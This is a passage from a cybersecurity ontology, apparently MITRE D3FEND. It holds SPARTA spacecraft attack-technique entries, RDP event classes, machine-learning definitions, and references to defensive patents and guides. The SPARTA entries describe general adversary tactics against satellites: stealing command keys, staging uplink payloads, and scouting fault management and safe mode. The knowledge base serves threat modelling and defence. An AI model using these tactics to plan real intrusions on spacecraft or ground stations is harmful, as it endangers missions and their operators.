definition: Threat actors may obtain encryption keys as they are used for the main commanding of the target spacecraft or any of its subsystems/payloads. Once obtained, threat actors may use any number of means to command the spacecraft without needing to go through a legitimate channel. These keys may be obtained through reconnaissance of the ground system or retrieved from the victim spacecraft.
subclass of: RD-0003
preferred label: Cryptographic Keys

Identify/Select Delivery Mechanism - SPARTA
type: Class
attack-id: RD-0004.01
definition: Threat actors may identify, select, and prepare a delivery mechanism in which to attack the space system (i.e., communicate with the victim spacecraft, deny the ground, etc.) to achieve their desired impact. This mechanism may be located on infrastructure that was previously purchased or rented by the threat actor or was otherwise compromised by them. The mechanism must include all aspects needed to communicate with the victim spacecraft, including ground antenna, converters, and amplifiers.
subclass of: RD-0004
preferred label: Identify/Select Delivery Mechanism

Upload Exploit/Payload - SPARTA
type: Class
attack-id: RD-0004.02
definition: Threat actors may upload exploits and payloads to a third-party infrastructure that they have purchased or rented or stage it on an otherwise compromised ground station. Exploits and payloads would include files and commands to be uploaded to the victim spacecraft in order to conduct the threat actor's attack.
subclass of: RD-0004
preferred label: Upload Exploit/Payload

Launch Services - SPARTA
type: Class
attack-id: RD-0005.01
definition: Threat actors may acquire launch capabilities through their own development or through space launch service providers (companies or organizations that specialize in launching payloads into space). Space launch service providers typically offer a range of services, including launch vehicle design, development, and manufacturing as well as payload integration and testing. These services are critical to the success of any space mission and require specialized expertise, advanced technology, and extensive infrastructure.
subclass of: RD-0005
preferred label: Launch Services

Non-Kinetic Physical ASAT - SPARTA
type: Class
attack-id: RD-0005.02
definition: A non-kinetic physical ASAT attack is when a satellite is physically damaged without any direct contact. Non-kinetic physical attacks can be characterized into a few types: electromagnetic pulses, high-powered lasers, and high-powered microwaves. These attacks have medium possible attribution levels and often provide little evidence of success to the attacker.* *https://aerospace.csis.org/aerospace101/counterspace-weapons-101
subclass of: RD-0005
preferred label: Non-Kinetic Physical ASAT

Kinetic Physical ASAT - SPARTA
type: Class
attack-id: RD-0005.03
definition: Kinetic physical ASAT attacks attempt to damage or destroy space- or land-based space assets. They typically are organized into three categories: direct-ascent, co-orbital, and ground station attacks. The nature of these attacks makes them easier to attribute and allow for better confirmation of success on the part of the attacker. * *https://aerospace.csis.org/aerospace101/counterspace-weapons-101
subclass of: RD-0005
preferred label: Kinetic Physical ASAT

Electronic ASAT - SPARTA
type: Class
attack-id: RD-0005.04
definition: Rather than attempting to damage the physical components of space systems, electronic ASAT attacks target the means by which space systems transmit and receive data. Both jamming and spoofing are forms of electronic attack that can be difficult to attribute and only have temporary effects.* *https://aerospace.csis.org/aerospace101/counterspace-weapons-101
subclass of: RD-0005
preferred label: Electronic ASAT

RDP Connect Response Event
type: Class
definition: An event where an RDP server acknowledges a connection request, finalizing session parameters and confirming the transition to an interactive remote session.
subclass of: Restriction
  on property: preceded-by
  some values from: RDP Connect Request Event
subclass of: RDPEvent

RDP Initial Response Event
type: Class
definition: An event where an RDP server responds to an initial request from a client, presenting its supported capabilities and agreeing to proceed with session negotiation.
subclass of: Restriction
  on property: preceded-by
  some values from: RDP Initial Request Event
subclass of: RDPEvent

RDP TLS Handshake Event
type: Class
definition: An event representing the cryptographic exchange of keys and certificates between an RDP client and server to establish a secure communication channel. The handshake ensures encryption, integrity, and authentication for the session.
subclass of: RDPEvent

Software Design - SPARTA
type: Class
attack-id: REC-0001.01
definition: Threat actors may gather information about the victim spacecraft's internal software that can be used for future campaigns or to help perpetuate other techniques. Information (e.g. source code, binaries, etc.) about commercial, open-source, or custom developed software may include a variety of details such as types, versions, and memory maps. Leveraging this information threat actors may target vendors of operating systems, flight software, or open-source communities to embed backdoors or for performing reverse engineering research to support offensive cyber operations.
subclass of: REC-0001
preferred label: Software Design

Firmware - SPARTA
type: Class
attack-id: REC-0001.02
definition: Threat actors may gather information about the victim spacecraft's firmware that can be used for future campaigns or to help perpetuate other techniques. Information about the firmware may include a variety of details such as type and versions on specific devices, which may be used to infer more information (ex. configuration, purpose, age/patch level, etc.). Leveraging this information threat actors may target firmware vendors to embed backdoors or for performing reverse engineering research to support offensive cyber operations.
subclass of: REC-0001
preferred label: Firmware

Cryptographic Algorithms - SPARTA
type: Class
attack-id: REC-0001.03
definition: Threat actors may gather information about any cryptographic algorithms used on the victim spacecraft's that can be used for future campaigns or to help perpetuate other techniques. Information about the algorithms can include type and private keys. Threat actors may also obtain the authentication scheme (i.e., key/password/counter values) and leverage it to establish communications for commanding the target spacecraft or any of its subsystems. Some spacecraft only require authentication vice authentication and encryption, therefore once obtained, threat actors may use any number of means to command the spacecraft without needing to go through a legitimate channel. The authentication information may be obtained through reconnaissance of the ground system or retrieved from the victim spacecraft.
subclass of: REC-0001
preferred label: Cryptographic Algorithms

Data Bus - SPARTA
type: Class
attack-id: REC-0001.04
definition: Threat actors may gather information about the data bus used within the victim spacecraft that can be used for future campaigns or to help perpetuate other techniques. Information about the data bus can include the make and model which could lead to more information (ex. protocol, purpose, controller, etc.), as well as locations/addresses of major subsystems residing on the bus. Threat actors may also gather information about the bus voltages of the victim spacecraft. This information can include optimal power levels, connectors, range, and transfer rate.
subclass of: REC-0001
preferred label: Data Bus

Thermal Control System - SPARTA
type: Class
attack-id: REC-0001.05
definition: Threat actors may gather information about the thermal control system used with the victim spacecraft that can be used for future campaigns or to help perpetuate other techniques. Information gathered can include type, make/model, and varies analysis programs that monitor it.
subclass of: REC-0001
preferred label: Thermal Control System

Maneuver & Control - SPARTA
type: Class
attack-id: REC-0001.06
definition: Threat actors may gather information about the station-keeping control systems within the victim spacecraft that can be used for future campaigns or to help perpetuate other techniques. Information gathered can include thruster types, propulsion types, attitude sensors, and data flows associated with the relevant subsystems.
subclass of: REC-0001
preferred label: Maneuver & Control

Payload - SPARTA
type: Class
attack-id: REC-0001.07
definition: Threat actors may gather information about the type(s) of payloads hosted on the victim spacecraft. This information could include specific commands, make and model, and relevant software. Threat actors may also gather information about the location of the payload on the bus and internal routing as it pertains to commands within the payload itself.
subclass of: REC-0001
preferred label: Payload

Power - SPARTA
type: Class
attack-id: REC-0001.08
definition: Threat actors may gather information about the power system used within the victim spacecraft. This information can include type, power intake, and internal algorithms. Threat actors may also gather information about the solar panel configurations such as positioning, automated tasks, and layout. Additionally, threat actors may gather information about the batteries used within the victim spacecraft. This information can include the type, quantity, storage capacity, make and model, and location.
subclass of: REC-0001
preferred label: Power

Fault Management - SPARTA
type: Class
attack-id: REC-0001.09
definition: Threat actors may gather information about any fault management that may be present on the victim spacecraft. This information can help threat actors construct specific attacks that may put the spacecraft into a fault condition and potentially a more vulnerable state depending on the fault response.
subclass of: REC-0001
preferred label: Fault Management

Identifiers - SPARTA
type: Class
attack-id: REC-0002.01
definition: Threat actors may gather information about the victim spacecraft's identity attributes that can be used for future campaigns or to help perpetuate other techniques. Information may include a variety of details such as the satellite catalog number, international designator, mission name, and more.
subclass of: REC-0002
preferred label: Identifiers

Organization - SPARTA
type: Class
attack-id: REC-0002.02
definition: Threat actors may gather information about the victim spacecraft's associated organization(s) that can be used for future campaigns or to help perpetuate other techniques. Collection efforts may target the mission owner/operator in order to conduct further attacks against the organization, individual, or other interested parties. Threat actors may also seek information regarding the spacecraft's designer/builder, including physical locations, key employees, and roles and responsibilities as they pertain to the spacecraft, as well as information pertaining to the mission's end users/customers.
subclass of: REC-0002
preferred label: Organization

Operations - SPARTA
type: Class
attack-id: REC-0002.03
definition: Threat actors may gather information about the victim spacecraft's operations that can be used for future campaigns or to help perpetuate other techniques. Collection efforts may target mission objectives, orbital parameters such as orbit slot and inclination, user guides and schedules, etc. Additionally, threat actors may seek information about constellation deployments and configurations where applicable.
subclass of: REC-0002
preferred label: Operations

Communications Equipment - SPARTA
type: Class
attack-id: REC-0003.01
definition: Threat actors may gather information regarding the communications equipment and its configuration that will be used for communicating with the victim spacecraft. This includes: Antenna Shape: This information can help determine the range in which it can communicate, the power of it's transmission, and the receiving patterns. Antenna Configuration/Location: This information can include positioning, transmission frequency, wavelength, and timing. Telemetry Signal Type: Information can include timing, radio frequency wavelengths, and other information that can provide insight into the spacecraft's telemetry system. Beacon Frequency: This information can provide insight into where the spacecrafts located, what it's orbit is, and how long it can take to communicate with a ground station. Beacon Polarization: This information can help triangulate the spacecrafts it orbits the earth and determine how a satellite must be oriented in order to communicate with the victim spacecraft. Transponder: This could include the number of transponders per band, transponder translation factor, transponder mappings, power utilization, and/or saturation point.
subclass of: REC-0003
preferred label: Communications Equipment

Commanding Details - SPARTA
type: Class
attack-id: REC-0003.02
definition: Threat actors may gather information regarding the commanding approach that will be used for communicating with the victim spacecraft. This includes: Commanding Signal Type: This can include timing, radio frequency wavelengths, and other information that can provide insight into the spacecraft's commanding system. Valid Commanding Patterns: Most commonly, this comes in the form of a command database, but can also include other means that provide information on valid commands and the communication protocols used by the victim spacecraft. Valid Commanding Periods: This information can provide insight into when a command will be accepted by the spacecraft and help the threat actor construct a viable attack campaign.
subclass of: REC-0003
preferred label: Commanding Details

Mission-Specific Channel Scanning - SPARTA
type: Class
attack-id: REC-0003.03
definition: Threat actors may seek knowledge about mission-specific communication channels dedicated to a payload. Such channels could be managed by a different organization than the owner of the spacecraft itself.
subclass of: REC-0003
preferred label: Mission-Specific Channel Scanning

Valid Credentials - SPARTA
type: Class
attack-id: REC-0003.04
definition: Threat actors may seek out valid credentials which can be utilized to facilitate several tactics throughout an attack. Credentials may include, but are not limited to: system service accounts, user accounts, maintenance accounts, cryptographic keys and other authentication mechanisms.
subclass of: REC-0003
preferred label: Valid Credentials

Flight Termination - SPARTA
type: Class
attack-id: REC-0004.01
definition: Threat actor may obtain information regarding the vehicle's flight termination system. Threat actors may use this information to perform later attacks and target the vehicle's termination system to have desired impact on mission.
subclass of: Gather Launch Information - SPARTA
preferred label: Flight Termination

Uplink Intercept Eavesdropping - SPARTA
type: Class
attack-id: REC-0005.01
definition: Threat actors may capture the RF communications as it pertains to the uplink to the victim spacecraft. This information can contain commanding information that the threat actor can use to perform other attacks against the victim spacecraft.
subclass of: REC-0005
preferred label: Uplink Intercept Eavesdropping

Downlink Intercept - SPARTA
type: Class
attack-id: REC-0005.02
definition: Threat actors may capture the RF communications as it pertains to the downlink of the victim spacecraft. This information can contain important telemetry such as onboard status and mission data.
subclass of: REC-0005
preferred label: Downlink Intercept

Proximity Operations - SPARTA
type: Class
attack-id: REC-0005.03
definition: Threat actors may capture signals and/or network communications as they travel on-board the vehicle (i.e., EMSEC/TEMPEST), via RF, or terrestrial networks. This information can be decoded to determine commanding and telemetry protocols, command times, and other information that could be used for future attacks.
subclass of: REC-0005
preferred label: Proximity Operations

Active Scanning (RF/Optical) - SPARTA
type: Class
attack-id: REC-0005.04
definition: Threat actors may interfere with the link by actively transmitting packets to activate the transmitter and induce a reply. The scan can be similar to a brute force attack, aiming to guess the used frequencies and protocols to obtain a reply.
subclass of: REC-0005
preferred label: Active Scanning (RF/Optical)

Development Environment - SPARTA
type: Class
attack-id: REC-0006.01
definition: Threat actors may gather information regarding the development environment for the victim spacecraft's FSW. This information can include IDEs, configurations, source code, environment variables, source code repositories, code "secrets", and compiled binaries.
subclass of: REC-0006
preferred label: Development Environment

Security Testing Tools - SPARTA
type: Class
attack-id: REC-0006.02
definition: Threat actors may gather information regarding how a victim spacecraft is tested in regards to the FSW. Understanding the testing approach including tools could identify gaps and vulnerabilities that could be discovered and exploited by a threat actor.
subclass of: REC-0006
preferred label: Security Testing Tools

Monitor for Safe-Mode Indicators - SPARTA
type: Class
attack-id: REC-0007
definition: Threat actors may gather information regarding safe-mode indicators on the victim spacecraft. Safe-mode is when all non-essential systems are shut down and only essential functions within the spacecraft are active. During this mode, several commands are available to be processed that are not normally processed. Further, many protections may be disabled at this time.
subclass of: SPARTAReconnaissanceTechnique
preferred label: Monitor for Safe-Mode Indicators

Hardware Recon - SPARTA
type: Class
attack-id: REC-0008.01
definition: Threat actors may gather information that can be used to facilitate a future attack where they manipulate hardware components in the victim spacecraft prior to the customer receiving them in order to achieve data or system compromise. The threat actor can insert backdoors and give them a high level of control over the system when they modify the hardware or firmware in the supply chain. This would include ASIC and FPGA devices as well.
subclass of: REC-0008
preferred label: Hardware Recon

Software Recon - SPARTA
type: Class
attack-id: REC-0008.02
definition: Threat actors may gather information relating to the mission's software supply chain in order to facilitate future attacks to achieve data or system compromise. This attack can take place in a number of ways, including manipulation of source code, manipulation of the update and/or distribution mechanism, or replacing compiled versions with a malicious one.
subclass of: REC-0008
preferred label: Software Recon

Known Vulnerabilities - SPARTA
type: Class
attack-id: REC-0008.03
definition: Threat actors may gather information about vulnerabilities that can be used for future campaigns or to perpetuate other techniques. A vulnerability is a weakness in the victim spacecraft's hardware, subsystems, bus, or software that can, potentially, be exploited by a threat actor to cause unintended or unanticipated behavior to occur. During reconnaissance as threat actors identify the types/versions of software (i.e., COTS, open-source) being used, they will look for well-known vulnerabilities that could affect the spacecraft. Threat actors may find vulnerability information by searching leaked documents, vulnerability databases/scanners, compromising ground systems, and searching through online databases.
subclass of: REC-0008
preferred label: Known Vulnerabilities

Business Relationships - SPARTA
type: Class
attack-id: REC-0008.04
definition: Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an mission’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors/sub-contractors, etc.) that have connected (and potentially elevated) network access or sensitive information. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.
subclass of: REC-0008
preferred label: Business Relationships

Gather Mission Information - SPARTA
type: Class
attack-id: REC-0009
definition: Threat actors may initially seek to gain an understanding of a target mission by gathering information commonly captured in a Concept of Operations (or similar) document and related artifacts. Information of interest includes, but is not limited to: - the needs, goals, and objectives of the system - system overview and key elements/instruments - modes of operations (including operational constraints) - proposed capabilities and the underlying science/technology used to provide capabilities (i.e., scientific papers, research studies, etc.) - physical and support environments
subclass of: SPARTAReconnaissanceTechnique
preferred label: Gather Mission Information

ROM
type: Class
definition: Read-only memory (ROM) is a type of non-volatile memory used in computers and other electronic devices. Data stored in ROM cannot be electronically modified after the manufacture of the memory device. Read-only memory is useful for storing software that is rarely changed during the life of the system, also known as firmware.
synonym: Read-only Memory
subclass of: PrimaryStorage

RTSP Server
type: Class
definition: A streaming server that utilizes the real-time streaming protocol.
subclass of: Network Audio Visual Streaming Resource

Radio Modem
type: Class
definition: A radio modem provides the means to send digital data wirelessly. Radio modems are used to communicate by direct broadcast satellite, WiFi, WiMax, mobile phones, GPS, Bluetooth and NFC. Modern telecommunications and data networks also make extensive use of radio modems where long distance data links are required. Such systems are an important part of the PSTN, and are also in common use for high-speed computer network links to outlying areas where fiber optic is not economical.
subclass of: Modem

Random Forest
type: Class
type: NamedIndividual
d3fend-id: D3A-RF
definition: Random Forest is a ML method that combines several other ML methods. At its core, Random Forest is an ensemble method of multiple bootstrapped decision trees filled with training data and random feature selection.
kb-article: ## References Random forest. Wikipedia. [Link](https://en.wikipedia.org/wiki/Random_forest).
subclass of: Bootstrap Aggregating

Random Splits
type: Class
type: NamedIndividual
d3fend-id: D3A-RS
definition: The dataset is repeatedly sampled with a random split of the data into train and test sets.
kb-article: ## References How to Create a Random Split Cross-Validation and Bagging Ensemble for Deep Learning in Keras."*Machine Learning Mastery*. [Link](https://machinelearningmastery.com/how-to-create-a-random-split-cross-validation-and-bagging-ensemble-for-deep-learning-in-keras/).
subclass of: ResamplingEnsemble

Range Matching
type: Class
type: NamedIndividual
d3fend-id: D3A-RM
definition: Numeric Range Matching determines if a value lies with an interval of values (i.e., within the range of values.)
subclass of: NumericPatternMatching

Reference - Apparatus for to provide content to and query a reverse domain name system server - Barrracuda Networks
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20100174829A1/en
kb-abstract: An apparatus is disclosed for to provide content to and query a reverse domain name system (DNS) server without depending on the kindness of domain name system registrars, registrants. DNS replies are observed by firewalls or filters, analyzed, and transmitted to a reverse domain name system server. An embodiment of the present invention can be within a DNS server or SMTP server.
kb-author: Dean Danko
kb-mitre-analysis: This patent includes the description of a method of blocking email traffic from untrusted domains by analyzing the TCP/IP source IP addresses and blocking traffic for IPs whose reverse lookup response FQDN matches a denylist.
kb-reference-title: Apparatus for to provide content to and query a reverse domain name system server

Reference - Biometric Challenge-Response Authentication - Accenture
type: PatentReference
type: NamedIndividual
has-link: https://www.patentguru.com/US2021110015A1
kb-abstract: Secret biometric responses to authentication challenges for MFA. Methods, systems, and apparatus, including computer programs encoded on computer storage media, for authenticating users based on a sequence of biometric authentication challenges. In one aspect, a process includes receiving a first image of the face of the user and processing the first image according to a first authentication process to determine whether the face of the user shown in the first image matches the face of an authorized user. A second authentication process including a sequence of biometric authentication challenges is identified. The sequence includes at least one facial expression challenge. The user is authenticated in response to determining that the first authentication process is satisfied based on the face of the user shown in the first image matching the face of the authorized user and the second authentication process is satisfied based on the user providing a valid biometric response to each biometric authentication challenge.
kb-author: Ben McCarty, Ellie Daw
kb-mitre-analysis: MITRE Analysis was not found.
kb-organization: Accenture
kb-reference-of: Multi-factorAuthentication
kb-reference-title: Biometric Challenge-Response Authentication

Reference - CAR-2020-11-010: CMSTP - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2020-11-010/
kb-abstract: CMSTP.exe is the Microsoft Connection Manager Profile Installer, which can be leveraged to setup listeners that will receive and install malware from remote sources in trusted fashion. When CMSTP.exe is seen in combination with an external connection, it is a good indication of this TTP.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2020-11-010: CMSTP

Reference - ControlLogix 5570 and 5560 Controllers
type: UserManualReference
type: NamedIndividual
has-link: https://literature.rockwellautomation.com/idc/groups/literature/documents/um/1756-um001_-en-p.pdf
kb-abstract: There are five types of ControlLogix controllers available. These types include the following: Standard ControlLogix controllers, Extreme environment ControlLogix controllers, Armor™ ControlLogix controllers, Standard GuardLogix® controllers, Armor GuardLogix controllers. This manual explains how to use standard, extreme environment, and Armor ControlLogix controllers.
kb-organization: Rockwell Automation
kb-reference-of: DisableRemoteAccess
kb-reference-title: ControlLogix 5570 and 5560 Controllers

Reference - Embedding contexts for on-line threats into response policy zones - Verisign Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10440059B1
kb-abstract: Hierarchical threat intelligence embedded in subdomain CNAMEs of a DNS denylist. In one embodiment, a response policy zone (RPZ) application generates an RPZ that includes contexts for the on-line threats that are associated with domain names. For a domain name that is associated with an on-line threat, the RPZ application determines a threat specification that describes a characteristic of the on-line threat. The RPZ application then generates an alias based on the domain name and the threat specification. Subsequently, the RPZ application generates a domain name system (DNS) resource record that maps the domain name to the alias, includes the resource record in the RPZ, and transmits the RPZ to a DNS name server that implements the RPZ. Upon receiving a DNS query associated with the domain name, the DNS name server generates a DNS response based on the alias. Because the domain name and the threat specification is reflected in the alias, the DNS response automatically provides a relevant context.
kb-author: Ben McCarty
kb-mitre-analysis: MITRE Analysis was not found.
kb-reference-of: HierarchicalDomainDenylisting
kb-reference-title: Embedding contexts for on-line threats into response policy zones

Reference - FWTK Documentation - fwtk.org
type: TechniqueReference
type: NamedIndividual
has-link: https://web.archive.org/web/20070510153306/http://www.fwtk.org/fwtk/docs/documentation.html#1.1
kb-abstract: In case you don't already know, FWTK stands for the FireW all Tool Kit. It is used as a base to create a secure firewall system. If you need good documentation, please read the source code. If you are not familiar with C or do not feel comfortable with performing the configuration and security verification yourself, then I would suggest that you purchase a commercial firewall from a vendor (such as TIS, Checkpoint, Raptor, etc.). A machine needs other tools to secure it, including, but hardly limited to, tools to check files (tripwire), audit tools (tiger/cops), secure access methods (kerberos/ssh), something to watch logs and machine states (swatch/watcher some to mind) and filtering and routing tools such as screend/ipfilterd/ipacl. Again, I would recommend that you do not proceed to build a production FWTK firewall unless you are familiar with UNIX security.
kb-author: fwtk.org
kb-organization: fwtk.org
kb-reference-of: InboundTrafficFiltering
kb-reference-title: FWTK Documentation

Reference - Identification of visual international domain name collisions - Verisign Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10599836B2/en
kb-abstract: Fuzzy OCR to detect domain name homoglyph attacks. Various embodiments of the invention disclosed herein provide techniques for detecting a homograph attack. An IDN collision detection server retrieves a first domain name that includes a punycode element. The IDN collision detection server converts the first domain into a second domain name that includes a Unicode character corresponding to the punycode element. The IDN collision detection server converts the second domain name into an image. The IDN collision detection server performs one or more optical character recognition operations on the image to generate a textual string associated with the image. The IDN collision detection server determines that the textual string matches at least a portion of a third domain name.
kb-author: Ben McCarty, Preston Zeh
kb-mitre-analysis: MITRE Analysis was not found.
kb-organization: Verisign Inc
kb-reference-of: HomoglyphDetection
kb-reference-title: Identification of visual international domain name collisions

Reference - Introducing Firefox's new Site Isolation Architecture
type: InternetArticleReference
type: NamedIndividual
has-link: https://hacks.mozilla.org/2021/05/introducing-firefox-new-site-isolation-security-architecture/
kb-author: Anny Gakhokidze
kb-organization: Mozilla Foundation
kb-reference-of: Application-basedProcessIsolation
kb-reference-title: Site Isolation Design Document
release-date: May 18, 2021

Reference - Intrusion and misuse deterrence system employing a virtual network
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US7240368B1
kb-reference-of: NetworkTrafficSignatureAnalysis
kb-reference-title: Intrusion and misuse deterrence system employing a virtual network

Reference - Libre NMS - Oxidized Extension
type: UserManualReference
type: NamedIndividual
has-link: https://docs.librenms.org/Extensions/Oxidized/
kb-abstract: Integrating LibreNMS with Oxidized brings the following benefits: * Config viewing: Current, History, and Diffs all under the Configs tab of each device * Automatic addition of devices to Oxidized: Including filtering and grouping to ease credential management * Configuration searching
kb-organization: LibreNMS.org
kb-reference-of: DiskEncryption
kb-reference-title: LibreNMSDocs - Oxidized Extension

Reference - Remotely Triggered Black Hole FIltering - Cisco
type: AcademicPaperReference
type: NamedIndividual
has-link: https://www.cisco.com/c/dam/en_us/about/security/intelligence/blackhole.pdf
kb-organization: Cisco
kb-reference-title: Remotely Triggered Black Hole Filtering - Destination Based and Source Based

Reference - Securing Web Transactions TLS Server Certificate Management - Appendix A Passive Inspection
type: GuidelineReference
type: NamedIndividual
has-link: https://www.nccoe.nist.gov/publication/1800-16/VolD/vol-d-appendix.html
kb-abstract: The example implementation demonstrates the ability to perform passive inspection of encrypted TLS connections. The question of whether or not to perform such an inspection is complex. There are important tradeoffs between traffic security and traffic visibility that each organization should consider. Some organizations prefer to decrypt internal TLS traffic, so it can be inspected to detect attacks that may be hiding within encrypted connections. Such inspection can detect intrusion, malware, and fraud, and can conduct troubleshooting, forensics, and performance monitoring. For these organizations, TLS inspection may serve as both a standard practice and a critical component of their threat detection and service assurance strategies.
kb-author: NIST
kb-reference-of: PassiveCertificateAnalysis
kb-reference-title: Securing Web Transactions TLS Server Certificate Management - Appendix A Passive Inspection

Reference - System and method for managed security assessment and mitigation
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US9544324B2
kb-abstract: In an embodiment of the invention, a system for assessing vulnerabilities includes: a security management system; a network device in a system under test (SUT), wherein the network device is privy to traffic in the SUT; and wherein the SMS is privy to traffic that is known by the network device and/or to one or more traffic observations that is known by the network device.
kb-author: Scott Parcel
kb-organization: Cenzic Inc, Trustwave Holdings Inc
kb-reference-of: NetworkVulnerabilityAssessment
kb-reference-title: System and method for managed security assessment and mitigation

Reference - System and methods thereof for detection of persistent threats in a computerized environment background - Palo Alto Networks IncCyber Secdo Ltd
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20170206358A1/en
kb-abstract: A system is used for detection of advanced persistent and non-persistent threats in a computerized environment. The system is connected to a plurality of user devices coupled to an enterprise's network. The system receives via an interface an electronic notification of at least one event in the operating system of the computer. The system then analyzes the at least one event. The system then generates a causality chain for the at least one event respective of the analysis. The causality chain comprises all the threads that attributed to the at least one event in a chronological order. The system then identifies a main thread that started the causality chain that led to the at least one event. Then, the system determines whether the main thread is associated with malicious software. Upon determination that the main thread is associated with malicious software, the causality chain is marked as infected.
kb-author: Gil BARAK
kb-mitre-analysis: The patent describes detecting malicious events on a host. For each new event (e.x. new file request received from a user device, a change in an existing file in a container) a causality chain is developed for all threads associated with the event. The causality chain identifies the thread that started the process of the event (main thread). If a thread in the causality chain has no parent, i.e. no main thread associated with it, the process is identified as malicious.
kb-organization: Palo Alto Networks IncCyber Secdo Ltd
kb-reference-title: System and methods thereof for detection of persistent threats in a computerized environment background

Reference - Technical Product Guide Tricon Systems
type: UserManualReference
type: NamedIndividual
has-link: https://www.nrc.gov/docs/ml0932/ml093290424.pdf
kb-abstract: Information in this document is subject to change without notice. Companies, names and data used in examples herein are fictitious unless otherwise noted. No part of this document may be reproduced or transmitted in any form or by any means, electronic or mechanical, for any purpose, without the express written permission of Triconex
kb-organization: Rockwell Automation
kb-reference-of: DisableRemoteAccess
kb-reference-title: Technical Product Guide Tricon Systems

Reference - Techniques for impeding and detecting network threats - Verisign Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10904273B1/
kb-abstract: Infinite DNS decoy trap resource to catch threats scanning for network resources to attack. In various embodiments, a name server transmits a canonical name as resolution to another canonical name. In operation, when a resource name is requested for resolution, a determination is made that the resource name corresponds to a trap resource name. A first canonical name is transmitted as resolution to the trap resource name. The first canonical name is requested for resolution, and a second canonical name is transmitted as resolution. By providing trap canonical names as resolutions to trap canonical names, unauthorized software making the resolution requests is kept occupied with requesting resolution of canonical name after canonical name, impeding the ability of the unauthorized software from traversing a network.
kb-author: Ben McCarty, James Graham
kb-mitre-analysis: MITRE Analysis was not found.
kb-organization: Verisign Inc
kb-reference-of: DecoyNetworkResource
kb-reference-title: Techniques for impeding and detecting network threats

Reference - Trusted Communications With Child Processes - Microsoft Technology Licensing LLC
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20120174210A1
kb-abstract: A method to identify a child process to a parent process in an operating system includes obtaining a token and login identifier from the operating system. The parent process creates a remote procedure call communications endpoint to communicate with the child process. Thereafter, a child process is spawned by the parent process. A child-initiated request to communicate with the parent process is then received by the parent process. In order to verify the identity of the child-initiated request, the parent process impersonates the child process and receives as identifier that identifies the requestor child process. The requestor process identifier and the spawned child identifier are compared. Based on the comparison, the parent process responds to the child-initiated request. In another embodiment, process identifiers are used by the parent process to verify the identity of a child process the requests communication with the parent process.
kb-author: Kedarnath Atmaram Dubhashi, Jonathan D. Schwartz, Sambavi Muthukrishnan, Simon Skaria
kb-mitre-analysis: This patent describes a technique for detecting malicious processes that claim to be the child process of a legitimate parent process. During the spawning of a child process, a child process identifier is generated. The child process identifier is a unique identifier that can be used to identify a child process. The child process identifier is transmitted by the security system of the operating system to the parent process. The parent process keeps track of the child process identifier. When a new child-initiated communications request is received by the parent process, the parent process checks if the requesting child process identifier and the child process identifier that the parent process is tracking are the same. If the identifiers are not the same, the parent process refuses the request.
kb-organization: Microsoft Technology Licensing LLC
kb-reference-title: Trusted Communications With Child Processes

Reference - Use Rkill to Stop Malware Processes - ghacks.net
type: TechniqueReference
type: NamedIndividual
has-link: https://www.ghacks.net/2011/07/29/use-rkill-to-stop-malware-processes/
kb-author: Melanie Gross
kb-organization: ghacks.net
kb-reference-of: ProcessTermination
kb-reference-title: Use Rkill to Stop Malware Processes

RegOpenKeyA
type: GetSystemConfigValue
type: NamedIndividual

RegOpenKeyExA
type: GetSystemConfigValue
type: NamedIndividual

RegOpenKeyExW
type: GetSystemConfigValue
type: NamedIndividual

RegOpenKeyTransactedA
type: GetSystemConfigValue
type: NamedIndividual

RegOpenKeyTransactedW
type: GetSystemConfigValue
type: NamedIndividual

RegOpenKeyW
type: GetSystemConfigValue
type: NamedIndividual

RegSetKeyValueA
type: SetSystemConfigValue
type: NamedIndividual

RegSetKeyValueW
type: SetSystemConfigValue
type: NamedIndividual

RegSetValueA
type: SetSystemConfigValue
type: NamedIndividual

RegSetValueExA
type: SetSystemConfigValue
type: NamedIndividual

RegSetValueExW
type: SetSystemConfigValue
type: NamedIndividual

RegSetValueW
type: SetSystemConfigValue
type: NamedIndividual

Regex Matching
type: Class
type: NamedIndividual
d3fend-id: D3A-RM
definition: Regular expression matching is type of partial string matching using a regular expression, which is a sequence of characters that specifies a match pattern in text.
kb-article: ## How it works A regular expression (shortened as regex or regexp) is a sequence of characters that specifies a match pattern in text. Usually such patterns are used by string-searching algorithms for "find" or "find and replace" operations on strings, or for input validation. ## Key Test Considerations - **External review of regular expressions**: Regular expressions used in rules should be reviewed by a independent developer SME. Regex testing and visualization tools may be used to aid this review. Back-tests for failure modes identified during the review shoud be developed. Regular expressions are easy to get wrong and may appear to work on limited tests; small mistakes can lead to unintended misses and matches.] - **Processing Performance Review**: Review of resource-intensive rules may be necessary if system performance degraded. Look for cases of “exponential backtracking” Some regexes are computationally expensive. ## References 1. Regular expression. (2023, June 1). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Regular_expression). 2. String-searching algorithm. (2023, April 8). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/String-searching_algorithm).
synonym: Regex
synonym: Regexp
subclass of: PartialMatching

Relational-based Transfer Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-RBTL
definition: Relational-based Transfer Learning is a subfield of machine learning where knowledge and patterns learned from one domain, characterized by relational and structured data, are transferred to enhance the learning of another related domain. This approach leverages shared concepts, relations, and structures across domains, taking advantage of the rich semantic knowledge within relational data to improve learning performance in the target task.
kb-article: ## References V7 Labs. (n.d.). Transfer Learning Guide. [Link](https://www.v7labs.com/blog/transfer-learning-guide#:~:text=Relational%2Dbased%20transfer%20learning%20approaches,domain%20to%20the%20target%20domain).
subclass of: HomogenousTransferLearning

Remote Authentication Service
type: Class
definition: A remote authentication service provides for the authentication of a user across a network (i.e., remotely).
subclass of: AuthenticationService
subclass of: NetworkService

Remote Authorization Service
